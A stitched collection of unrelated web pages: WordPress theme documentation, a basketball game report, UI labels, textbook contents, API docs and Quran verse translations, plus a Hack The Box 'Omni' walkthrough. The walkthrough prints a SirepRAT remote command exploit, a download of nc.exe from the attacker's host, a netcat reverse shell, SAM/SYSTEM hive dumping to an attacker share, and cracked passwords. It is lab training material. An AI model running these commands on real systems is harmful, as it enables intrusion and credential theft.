The method for updating CSS dependencies is the same. For example, let's say you enqueued the Bootstrap CSS and wanted to make sure that it was loaded before the theme CSS:
function customize_theme_css_deps( $deps ) {
if ( ! in_array( 'bootstrap', $deps, true ) ) {
$deps[] = 'bootstrap';
}
return $deps;
}
add_filter( 'blr/assets/css-deps', 'customize_theme_css_deps' );
Helper Functions
BLR Base Theme also provides some handy asset-related helper functions. For example, let's say you're putting together some custom template files for your theme and you need to add some placeholder content, including some images:
<?php
use BLR\Base_Theme\Assets;
$image_url = Assets\asset_url( 'images/image-file.png' );
?>
<img alt="Placeholder Image" src="<?php echo esc_url( $image_url ); ?>">

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Or, let's say you want to check to see if an asset file exists. You'd simply do:
use BLR\Base_Theme\Assets;
if ( file_exists( Assets\asset_path( 'path/to/asset.file' ) ) {
// Do something.
}
There are also specific path and URL functions for images, CSS, and JS. So in our first example with the template image, we could use the following instead:
$image_url = Assets\image_url( 'image-file.png' );
These helper functions are especially useful when enqueueing custom CSS and JS:
wp_enqueue_style( 'custom', Assets\css_url( 'custom.css' ), [], null );
wp_enqueue_script( 'custom', Assets\js_url( 'custom.js' ), [], null, true );
Breakpoints
BLR Base Theme comes with the following breakpoints pre-defined:
$_breakpoints: (
xs: 0px,
sm: 572px,
md: 756px,
lg: 940px,
xl: 1124px,
);
It also includes a breakpoint
mixin that can be used to target any of these
breakpoints in a media query:
// Applies to viewports that are 572px or more.
@include breakpoint( sm ) {
.example {
display: block;
// ...
}
}
The breakpoint
mixin accepts a 2nd argument that determines whether to use
min-width
or max-width
for the media query:
// Applies to viewports that are 571px or less.
@include breakpoint( sm, 'max' ) {
.example {
display: none;
// ...
}
}
Grid System
BLR Base Theme includes the Susy grid system, as well as some basic helper classes for quick prototyping:

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Theme Colors
The following color variables are made available to the child theme:
$color-base
$color-light
$color-medium
$color-dark
$color-primary
$color-secondary
$color-tertiary
$color-success
$color-error
$color-info
$color-alert
Buttons
BLR Base Theme allows for buttons in both <button>
and
elements.
Regardless of which method you pick, the buttons should appear identical,
giving you flexibility in implementation. That being said, if your button does
not actually link to another page you should use a <button>
element. When you
do need to use an
element, you should add the button
ARIA role for
accessibility purposes.
<button class="button--primary">This is a button</button>
This is a button link.
Button Colors
Buttons come in the following colors:
<button class="button--default">Default text color</button>
<button class="button--primary">Primary branding color</button>
<button class="button--secondary">Secondary branding color</button>
<button class="button--tertiary">Tertiary branding color</button>
<button class="button--success">Success state color</button>
<button class="button--error">Error state color</button>
<button class="button--info">Info state color</button>
<button class="button--alert">Alert state color</button>
Each button color also has a corresponding solid version:
<button class="button--default--solid">Default text color</button>
<button class="button--primary--solid">Primary branding color</button>
<button class="button--secondary--solid">Secondary branding color</button>
<button class="button--tertiary--solid">Tertiary branding color</button>
<button class="button--success--solid">Success state color</button>
<button class="button--error--solid">Error state color</button>
<button class="button--info--solid">Info state color</button>
<button class="button--alert--solid">Alert state color</button>
Button Styles
BLR Base Theme includes a number of Sass placeholders and mixins that can be used to create different types of buttons.
// Regular button using placeholder.
.my-button {
@extend %button;
}
// Regular button using mixin.
.my-button {
@include button;
}
// Full-width button.
.my-button {
@extend %button--block;
}
// Button with slightly rounded corners.
.my-button {
@extend %button--rounded;
}
// Pill-shaped button with completely round corners.
.my-button {
@extend %button--pill;
}
Each of these placeholders also corresponds to a CSS class that you can use. The placeholder method is recommended as it's easier to maintain, though the helper classes are useful for prototyping or placeholder content.
<button class="button--primary button--block">This is a full-width button</button>
<button class="button--primary button--rounded">This is a rounded button</button>
<button class="button--primary button--pill">This is a pill-shaped button</button>
<button class="button--primary--solid button--block">This is a full-width button</button>
<button class="button--primary--solid button--rounded">This is a rounded button</button>
<button class="button--primary--solid button--pill">This is a pill-shaped button</button>


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No. 18 Ohio State routs UMass Lowell 76-56
by STEVE HELWAGENCOLUMBUS, Ohio (AP) - Freshman D.J. Carton and Kaleb Wesson each had 13 points and No. 18 Ohio State routed UMass-Lowell 76-56 on Sunday.
The Buckeyes (2-0) got contributions throughout the lineup in the tuneup against the Atlantic East squad ahead of Wednesday night’s matchup with No. 10 Villanova.
Wesson also had 13 rebounds and five assists. Luther Muhammad added 11 points, while Alonzo Gaffney and Kyle Young each added 10.
The Buckeyes played without senior forward Andre Wesson, who suffered an eye injury in the team’s win over Cincinnati on Wednesday night.
His brother, Kaleb Wesson, already had a double-double by halftime. He had tallied 11 points, 11 rebounds and four assists as the Buckeyes built a 38-25 halftime lead.
Obadiah Noel led UMass-Lowell (1-2) with 15 points, and Connor Withers had 10.
It was a tough game for UMass-Lowell guard Christian Lutete, who was coming off a 51-point outburst in the River Hawks’ victory over LIU-Brooklyn on Friday. He had nine points on 4-for-12 shooting.
The Buckeyes shrugged off a slow start and eventually grabbed the lead for good with 13 minutes left in the half. Kaleb Wesson had a one-handed jam off an E.J. Liddell lob before Wesson returned the favor by dishing to Liddell after tracking down an errant pass. Wesson’s crosscourt assist to Carton for a 3 gave OSU its 13-point halftime lead. Ohio State went on a 21-9 run to open the second half.
BIG PICTURE:
UMass-Lowell: The River Hawks have a veteran squad and could be a team to watch in the America East this season. But they couldn’t stay with the more-talented Buckeyes.
Ohio State: Buckeyes get plenty of contributions against an overmatched team. A better gauge of where they are early will come midweek against national power Villanova.
UP NEXT
UMass-Lowell: Hosts UMass-Boston on Tuesday night.
Ohio State: Hosts No. 10 Villanova on Wednesday night.
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Link: https://www.hackthebox.eu/home/machines/profile/271
Let’s Begin with our Initial Nmap Scan.
Nmap Scan Results
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
5985/tcp open upnp Microsoft IIS httpd
8080/tcp open upnp Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
29817/tcp open unknown
29819/tcp open arcserve ARCserve Discovery
29820/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.80%I=7%D=8/23%Time=5F426145%P=x86_64-pc-linux-gnu%r(N
SF:ULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,"
SF:\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x0
SF:4G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\x
SF:c9}\xc8O\x12");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (86%)
OS CPE: cpe:/o:microsoft:windows_xp::sp2
Aggressive OS guesses: Microsoft Windows XP SP2 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 206.35 ms <IP_ADDRESS>
2 206.28 ms <IP_ADDRESS>
Web Enumeration
Started with the webservice running on Port 8080. Checking that reveals its a Windows Device Portal.
And it’s asking for Username and Password. I tried some default credentials and none worked.
What is Windows Device Portal? The Windows Device Portal lets you configure and manage your device remotely over a network or USB connection. … Windows Device Portal is a web server on your device that you can connect to from a web browser on a PC. If your device has a web browser, you can also connect locally with the browser on that device. It works like an IoT.
So I googled for default Credentials and found this. And That too didn’t work.
https://docs.microsoft.com/en-us/windows/iot-core/manage-your-device/deviceportal
Getting Shell
Next, I googled for any exploit available for Windows Core IOT. And Found this GitHub repo.
The tool will exploit Sirep Test Service which is used to perform driver/hardware tests on the IoT device and that’s built in and running on the official images offered at Microsoft’s site. So I tested whether its working or not. I tried to ping my device and it works.
┌──(root🐺kali)-[~/htb/boxes/omni/SirepRAT]
└─# python SirepRAT.py <IP_ADDRESS> LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c ping <IP_ADDRESS>"
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 98, payload peek: 'Pinging <IP_ADDRESS> with 32 bytes of data:Repl'>
<OutputStreamResult | type: 11, payload length: 52, payload peek: 'Reply from <IP_ADDRESS>: bytes=32 time=757ms TTL=63'>
<OutputStreamResult | type: 11, payload length: 52, payload peek: 'Reply from <IP_ADDRESS>: bytes=32 time=456ms TTL=63'>
<OutputStreamResult | type: 11, payload length: 249, payload peek: 'Reply from <IP_ADDRESS>: bytes=32 time=203ms TTL=63'>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: ''>
Time to Get Shell, In first Command I uploaded the nc.exe
and in next command I tried to run it but I get some compatible error.
┌──(root🐺kali)-[~/htb/boxes/omni/SirepRAT]
└─# python SirepRAT.py <IP_ADDRESS> LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell.exe -command Invoke-WebRequest -Uri 'http://<IP_ADDRESS>/nc.exe' -OutFile 'C:\windows\system32\spool\drivers\color\nc.exe'"
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
┌──(root🐺kali)-[~/htb/boxes/omni/SirepRAT]
└─# python SirepRAT.py <IP_ADDRESS> LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\windows\system32\spool\drivers\color\nc.exe <IP_ADDRESS> 1234 -e cmd.exe" --v
---------
This version of C:\windows\system32\spool\drivers\color\nc.exe is not compatible with the version of Windows you're running. Check your computer's system information and then contact the software publisher.
---------
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 208, payload peek: 'This version of C:\windows\system32\spool\drivers\'>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: ''>
So I searched for other nc.exe
there is a lot of them in GitHub. And I got this one.
Used the same command and started my netcat listener.
And I got a shell. It’s weird I can’t even run whoami
I enumerated all the folders and in Data\Users
there is app and Administrator directory, where I have access on them both. While checking app
directory I found iot-admin.xml
and is encrypted using Powershell it uses Get-Credential, Export-CliXml, and Import-CliXml to store and retrieve username and passwords.
C:\Data\Users\app>dir
dir
Volume in drive C is MainOS
Volume Serial Number is 3C37-C677
Directory of C:\Data\Users\app
08/24/2020 08:33 AM <DIR> .
08/24/2020 08:33 AM <DIR> ..
07/04/2020 07:28 PM <DIR> 3D Objects
07/04/2020 07:28 PM <DIR> Documents
07/04/2020 07:28 PM <DIR> Downloads
07/04/2020 07:28 PM <DIR> Favorites
07/04/2020 08:20 PM 344 hardening.txt
07/04/2020 08:14 PM 1,858 iot-admin.xml
07/04/2020 07:28 PM <DIR> Music
07/04/2020 07:28 PM <DIR> Pictures
07/04/2020 09:53 PM 1,958 user.txt
07/04/2020 07:28 PM <DIR> Videos
3 File(s) 4,160 bytes
9 Dir(s) 4,690,165,760 bytes free
C:\Data\Users\app>type iot-admin.xml
type iot-admin.xml
<Objs Version="<IP_ADDRESS>" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">omni\administrator</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa28853640000000002000000000010660000000100002000000000855856bea37267a6f9b37f9ebad14e910d62feb252fdc98a48634d18ae4ebe000000000e80000000020000200000000648cd59a0cc43932e3382b5197a1928ce91e87321c0d3d785232371222f554830000000b6205d1abb57026bc339694e42094fd7ad366fe93cbdf1c8c8e72949f56d7e84e40b92e90df02d635088d789ae52c0d640000000403cfe531963fc59aa5e15115091f6daf994d1afb3c2643c945f2f4b8f15859703650f2747a60cf9e70b56b91cebfab773d0ca89a57553ea1040af3ea3085c27</SS>
</Props>
</Obj>
</Objs>
I googled about how to decrypt it and found this link and $cred=Import-CliXml -Path <file>; $cred.GetNetworkCredential().Password
this is the command which helps to decrypt.
https://mcpmag.com/articles/2017/07/20/save-and-read-sensitive-data-with-powershell.aspx
In our case, I get some error. I can’t decrypt it.
C:\Data\Users\app>powershell.exe -c "$cred=Import-CliXml -Path C:\Data\Users\app\iot-admin.xml; $cred.GetNetworkCredential().Password"
powershell.exe -c "$cred=Import-CliXml -Path C:\Data\Users\app\iot-admin.xml; $cred.GetNetworkCredential().Password"
Import-CliXml : Error occurred during a cryptographic operation.
At line:1 char:7
+ $cred=Import-CliXml -Path C:\Data\Users\app\iot-admin.xml; $cred.GetN ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Import-Clixml], Cryptographic
Exception
+ FullyQualifiedErrorId : System.Security.Cryptography.CryptographicExcept
ion,Microsoft.PowerShell.Commands.ImportClixmlCommand
You cannot call a method on a null-valued expression.
At line:1 char:60
+ ... :\Data\Users\app\iot-admin.xml; $cred.GetNetworkCredential().Password
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
I even have access to Administrator
directory, I can read those files and they are also encrypted and I can’t decrypt them too.
C:\Data\Users\administrator>dir
dir
Volume in drive C is MainOS
Volume Serial Number is 3C37-C677
Directory of C:\Data\Users\administrator
08/24/2020 05:29 AM <DIR> .
08/24/2020 05:29 AM <DIR> ..
07/03/2020 11:23 PM <DIR> 3D Objects
07/03/2020 11:23 PM <DIR> Documents
07/03/2020 11:23 PM <DIR> Downloads
07/03/2020 11:23 PM <DIR> Favorites
07/03/2020 11:23 PM <DIR> Music
07/03/2020 11:23 PM <DIR> Pictures
07/04/2020 09:48 PM 1,958 root.txt
07/04/2020 09:48 PM 1,958 root.xml
07/03/2020 11:23 PM <DIR> Videos
2 File(s) 3,916 bytes
9 Dir(s) 4,690,165,760 bytes free
I thought since we have access to Administrator directory, what about SAM and SYSTEM files? We have access to them too?
SAM - The Security Account Manager is a database file in Windows XP, Windows Vista, Windows 7, 8.1 and 10 that stores users’ passwords.
SYSTEM - The Windows Registry is a hierarchical database that stores low-level settings for the Microsoft Windows operating system and for applications that opt to use the Registry.
And Yes we have access to them. Copied them to the app directory. Now I need to copy this to my machine.
PS C:\Data\Users\app> reg.exe save hklm\sam C:\Data\Users\app\sam
PS C:\Data\Users\app> reg.exe save hklm\system C:\Data\Users\app\system
I setup SMB Server in my machine.
Copied the files to my machine.
PS C:\Data\Users\app> net use z: \\<IP_ADDRESS>\pub /user:wolf wolf
PS C:\Data\Users\app> copy sam \\<IP_ADDRESS>\pub
copy sam \\<IP_ADDRESS>\pub
PS C:\Data\Users\app> copy system \\<IP_ADDRESS>\pub
copy system \\<IP_ADDRESS>\pub
There are various tools to dump the hashes, I used secretsdump.py
and I got some hashes. We are Interested in Administrator and app hashes.
I cracked the hashes using JTR and I got user app
hash.
We know Windows Device Portal running on Port 8080 and its asking for credentials. This time I used this app : mesh5143
.
I logged into the dashboard. I started checking each and every tabs.
There is an option to Run Command, We have already uploaded our nc64.exe
so I used the same one to get a shell.
This time I don’t have access to the Administrator’s directory.
And now I’m able to decrypt the file and got iot-admin.xml
it contains some password. And I used the same method to decrypt the user.txt
and got user flag.
C:\Data\Users\app>powershell.exe -c "$cred=Import-CliXml -Path C:\Data\Users\app\iot-admin.xml; $cred.GetNetworkCredential().Password"
powershell.exe -c "$cred=Import-CliXml -Path C:\Data\Users\app\iot-admin.xml; $cred.GetNetworkCredential().Password"
Attempting to perform the InitializeDefaultDrives operation on the 'FileSystem' provider failed.
_1nt3rn37ofTh1nGz
We got one more file. And it seems useless.
C:\Data\Users\app>type hardening.txt
type hardening.txt
- changed default administrator password of "p@ssw0rd"
- added firewall rules to restrict unnecessary services
- removed administrator account from "Ssh Users" group
Privilege Escalation
Since we got a password from iot-admin.xml
the filename itself tells it is IOT Administrator password. I logged in as Administrator using _1nt3rn37ofTh1nGz
We already know Run Command options is there. I used the same method we did before to get a shell.
This time I have access to the Administrator’s directory and use the same method to decrypt the flag.
We Own the Box.


load SVG
update SVG
export SVG
load project
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Units:
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in
Dimensions:
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Canvas Tools
[a]
arrange parts
[x]
remove parts
[p]
pan
Joint Tools
[s]
set joints
[r]
reverse path
[f]
flip joints
[w]
swap M/F
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令和３年度の New Horizon 1
- Unit 0－Welcome to Junior High School
- Part 1－それぞれの場面の活動をしよう－P. 04-05
- Part 2－英語の音と文字－P. 06-08
- Unit 1－New School, New Friends
- Unit 2－Our New Teacher
- Unit 3－Club Activities
- Unit 4－Friends in New Zealand
- Unit 5－A Japanese Summer Festival
- Unit 6－A Speech about My Brother
- Unit 7－Foreign Artists in Japan
- Unit 8－A Surprise Party
- Unit 9－Think Globally, Act Locally
- Unit 10－Winter Vacation
- Unit 11－This Year's Memories
- Story 1－P. 111
- Story 2－P. 112
- Story 3－P. 114
- Stage Activity 3－My Favorite Event This Year－P. 120-121
- Let's Read 2－City Lights－P. 124-126
- Optional Reading 1－Laughter is a Strong Bridge－P. 128-129
- Optional Reading 2－Let's Go to London－P. 130-131
- Review, special holidays and extras


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Datepicker
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Product key (a*-999-a999)
Date of birth (99/99/9999)
Hello
Various icons
Various colors
Various sizes
Type your password and look at progress bar below
Classic file input converted to more user friendly
Mention (GitHub style)


Pyifx Documentation¶
What is Pyifx?¶
Pyifx is an image processing, handling, & editing library meant to be used in Python. It provides users with the chance to edit and process images using Python code. The library provides over 20 main features to be used to edit images, including:
Color overlay
Blur
Saturation
Resize
And much more.
A full list of available functions is available here.
The library was created by Jad Khalili, and first released in August 2019.
Get Started¶
To install the library & begin using it, visit the Getting Started Guide.


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Data Object - ClusterDpmHostConfigSpec(vim.cluster.DpmHostConfigSpec)
- Property of
-
ClusterConfigSpecEx
- Extends
-
ArrayUpdateSpec
- See also
-
ClusterDpmHostConfigInfo
- Since
- VI API 2.5
Data Object
Description
The ClusterDpmHostConfigSpec data object provides information
that the Server uses to update the DPM configuration for a
single host (identified by the
key property).
The host DPM configuration overrides the cluster
default DPM setting
(ClusterConfigSpecEx.dpmConfig).
The vSphere API defines three update operations
(ArrayUpdateSpec.operation).
- add: Define DPM behavior for a host. If the cluster
configuration already includes a DPM behavior override
for the specified host, this operation
removes the existing override and adds the new one.
The new DPM override will use the cluster default value
if you do not specify the behavior property
(defaultDpmBehavior).
- edit: Perform an incremental update to an existing
DPM configuration entry for a host.
The reconfigure method changes only the properties
that you set in the data object. The entry must exist
in the
ClusterConfigSpecEx.dpmHostConfigSpec array.
- remove: Remove the DPM override for the specified
host. To identify the host to delete, use the
removeKey property
to specify the key
in the host override.
Use the ReconfigureComputeResource_Task method
to update the DPM configuration. If you set the modify parameter
to true, you can use any of the three operations (add, edit, or remove).
If you set the modify parameter to false, you can use only the
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| 007:128 Khan | : |
Musa (Moses) said to his people: "Seek help in Allah and be patient. Verily, the earth is Allah's. He gives it as a heritage to whom He will of His slaves, and the (blessed) end is for the Muttaqun (pious - see V.2:2)." |
| 007:128 Maulana | : |
Moses said to his people: Ask help from Allah and be patient. Surely the land is Allah's -- He gives it for an inheritance to such of His servants as He pleases. And the end is for those who keep their duty. |
| 007:128 Pickthal | : |
And Moses said unto his people: Seek help in Allah and endure. Lo! the earth is Allah's. He giveth it for an inheritance to whom He will. And lo! the sequel is for those who keep their duty (unto Him). |
| 007:128 Rashad | : |
Moses said to his people, "Seek GOD's help, and steadfastly persevere. The earth belongs to GOD, and He grants it to whomever He chooses from among His servants. The ultimate victory belongs to the righteous." |
| 007:128 Sarwar | : |
Moses told his people to seek help from God and exercise patience. The earth belongs to Him and He has made it the heritage of whichever of His servants He chooses. The final victory is for the pious ones. |
| 007:128 Shakir | : |
Musa said to his people: Ask help from Allah and be patient; surely the land is Allah's; He causes such of His servants to inherit it as He pleases, and the end is for those who guard (against evil). |
| 007:128 Sherali | : |
Moses said to his people, 'Seek help from ALLAH and be steadfast. Verily the earth is ALLAH's; HE gives it as a heritage to whomsoever HE pleases of HIS servants and the good end is for the God-fearing.' |
| 007:128 Yusufali | : |
Said Moses to his people: "Pray for help from Allah, and (wait) in patience and constancy: for the earth is Allah's, to give as a heritage to such of His servants as He pleaseth; and the end is (best) for the righteous. |
Concepts/Themes Covered: أركان الإسلام > مسائل متفرقة من العبادة > العبادة لله تعالى Pillars of Islam> Miscellaneous Points of Worship> Oneness of the Worship of Allah
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